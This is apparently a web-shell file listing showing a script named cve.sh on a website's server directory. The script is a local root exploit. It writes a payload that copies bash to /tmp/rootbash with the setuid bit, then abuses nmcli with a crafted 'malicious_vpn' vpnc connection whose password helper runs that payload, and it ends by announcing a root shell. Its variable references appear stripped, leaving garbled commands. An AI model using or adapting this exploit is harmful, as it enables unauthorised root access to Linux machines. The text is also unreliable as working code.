Current Path : /home/bitrix/ext_www/klimatlend.ua/ |
Current File : /home/bitrix/ext_www/klimatlend.ua/cve.sh |
CONNECTION_NAME="malicious_vpn" PAYLOAD_SCRIPT="/tmp/payload.sh" cat << EOF > cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x nmcli connection add type vpn vpn-type vpnc con-name ifname '*' +vpn.data 'IPSec gateway = 127.0.0.1' +vpn.data 'IPSec ID = test' +vpn.data 'IPSec secret-flags = 0' +vpn.data 'Xauth username = test Password helper ''' nmcli connection up nmcli connection delete rm -f echo "[*] Exploit completed. Check /tmp/rootbash for a root shell."